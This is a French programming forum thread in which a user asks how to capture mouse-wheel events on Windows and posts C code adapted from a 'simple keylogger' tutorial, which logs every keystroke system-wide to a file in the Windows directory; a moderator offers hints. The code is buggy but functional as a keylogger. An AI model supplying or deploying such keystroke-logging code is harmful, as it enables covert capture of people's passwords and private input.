Capture roulette souris

croluc Messages postés 10 Date d'inscription mercredi 9 novembre 2011 Statut Membre Dernière intervention 23 février 2012 - 9 nov. 2011 à 11:09
BunoCS Messages postés 15476 Date d'inscription lundi 11 juillet 2005 Statut Modérateur Dernière intervention 3 mai 2024 - 9 nov. 2011 à 17:32
Bonjour à tous,
J'ai pour objectif de capturer un évènement sur la molette de la souris ^^
Et en fonction de cet évènement je voudrais faire une simulation de touche.
J'imagine que des logiciels le font déjà, sauf que je souhaite programmer tout ça par moi même : D

J'ai déjà trouvé une piste intéressante :
http://www.rohitab.com/discuss/topic/9931-simple-keylogger-c/

Avec ce code (un peu modifié) j'arrive à récupérer tous les évènements clavier (sauf certaines touches... => ²)=^$ù*,;:! ), et bien sur les évènements souris :
click droit
click gauche
click molette
Mais malheureusement, je ne récupère pas la roulette.

Ce qui rend la chose assez frustrante.

J'ai aussi fait un tour du côté de la librairie SDL mais je n'arrive pas à récupérer "tous" les évènements comme le ferait un keylogger, c'est à dire lorsque l'on est dans le focus d'un autre programme.

Est ce que quelqu'un aurait ne idée ?
Merci à ceux qui m'auront lu :)

4 réponses

BunoCS Messages postés 15476 Date d'inscription lundi 11 juillet 2005 Statut Modérateur Dernière intervention 3 mai 2024 103
9 nov. 2011 à 11:48
Hello,
Regarde le message WM_MOUSEWHEEL


@+
Buno
----------------------------------------
L'urgent est fait, l'impossible est en cours. Pour les miracles, prévoir un délai...
0
croluc Messages postés 10 Date d'inscription mercredi 9 novembre 2011 Statut Membre Dernière intervention 23 février 2012
9 nov. 2011 à 12:10
Bonjour Buno,
Merci pour ta réponse si rapide :)
Pour l'instant je suis dans le floux.
Dans le code que j'ai trouvé/linké, j'ai remarqué que cette fonction :

for(i=0;i<=2000;i++){

if (GetAsyncKeyState(i) == -32767)
{
keys (i,test);
printf("%d",i);
}
}

J'ai donc remplacé la fonction getAsyncKeyState par GET_WHEEL_DELTA_WPARAM(WM_MOUSEWHEEL)

En faisant un printf dessus je n'obtiens que des 0. Impossible de récupérer l'évènement de mes rêves.
Si tu as une autre idée je suis preneur.
0
croluc Messages postés 10 Date d'inscription mercredi 9 novembre 2011 Statut Membre Dernière intervention 23 février 2012
9 nov. 2011 à 16:47
J'avance j'avance ^^

Le code sur lequel je suis me retourne le chiffre de l'évènement.
Par contre il ne gère pas encore la souris, si quelqu'un a une idée.
Voici le code :

#define WM_MOUSEWHEEL 0x020A
#include <stdio.h>
#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0400
#endif
#include <windows.h>
#include <Winuser.h>


void keys(int key,char *file)
{

FILE *key_file;

key_file = fopen(file,"a+");



if (key==20){keybd_event(VK_RETURN,0,0,0);}

if (key==WM_MOUSEWHEEL){fprintf(key_file,"%s","[del]");keybd_event(VK_RETURN,0,0,0);}


if (key==8){fprintf(key_file,"%s","[del]");}


if (key==13)
fprintf(key_file,"%s","\n");

if (key==32)
fprintf(key_file,"%s"," ");

if (key==VK_CAPITAL)
fprintf(key_file,"%s","[Caps]");

if (key==VK_TAB)
fprintf(key_file,"%s","[TAB]");

if (key ==VK_SHIFT)
fprintf(key_file,"%s","[SHIFT]");

if (key ==VK_CONTROL)
fprintf(key_file,"%s","[CTRL]");

if (key ==VK_PAUSE)
fprintf(key_file,"%s","[PAUSE]");

if (key ==VK_KANA)
fprintf(key_file,"%s","[Kana]");

if (key ==VK_ESCAPE)
fprintf(key_file,"%s","[ESC]");

if (key ==VK_END)
fprintf(key_file,"%s","[END]");

if (key==VK_HOME)
fprintf(key_file,"%s","[HOME]");

if (key ==VK_LEFT)
fprintf(key_file,"%s","[LEFT]");

if (key ==VK_UP)
fprintf(key_file,"%s","[UP]");

if (key ==VK_RIGHT)
fprintf(key_file,"%s","[RIGHT]");

if (key ==VK_DOWN)
fprintf(key_file,"%s","[DOWN]");

if (key ==VK_SNAPSHOT)
fprintf(key_file,"%s","[PRINT]");

if (key ==VK_NUMLOCK)
fprintf(key_file,"%s","[NUM LOCK]");

if (key ==190 || key==110)
fprintf(key_file,"%s",".");

if (key >=96 && key <= 105){

key = key - 48;

fprintf(key_file,"%s",&key);

}

if (key >=48 && key <= 59)

fprintf(key_file,"%s",&key);



if (key !=VK_LBUTTON || key !=VK_RBUTTON){

if (key >=65 && key <=90){

if (GetKeyState(VK_CAPITAL))

fprintf(key_file,"%s",&key);
else

{

key = key +32;

fprintf(key_file,"%s",&key);

}
}

}

fclose(key_file);





}

int main()
{



char i;


char test[MAX_PATH];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");


while(1){


for(i=0;i<=2000;i++){

if (GetAsyncKeyState(i) == -32767)
{
keys (i,test);
printf("%d",i);
}

if (GET_WHEEL_DELTA_WPARAM(522)==-32767){
printf("test%d",WM_MOUSEWHEEL);
}

}

}

}
0
BunoCS Messages postés 15476 Date d'inscription lundi 11 juillet 2005 Statut Modérateur Dernière intervention 3 mai 2024 103
9 nov. 2011 à 17:32
Attention, l'action sur la molette de la souris n'est pas considéré comme un appui touche...
Regarde si cette source peut t'aider

@+
Buno
----------------------------------------
L'urgent est fait, l'impossible est en cours. Pour les miracles, prévoir un délai...
0
Rejoignez-nous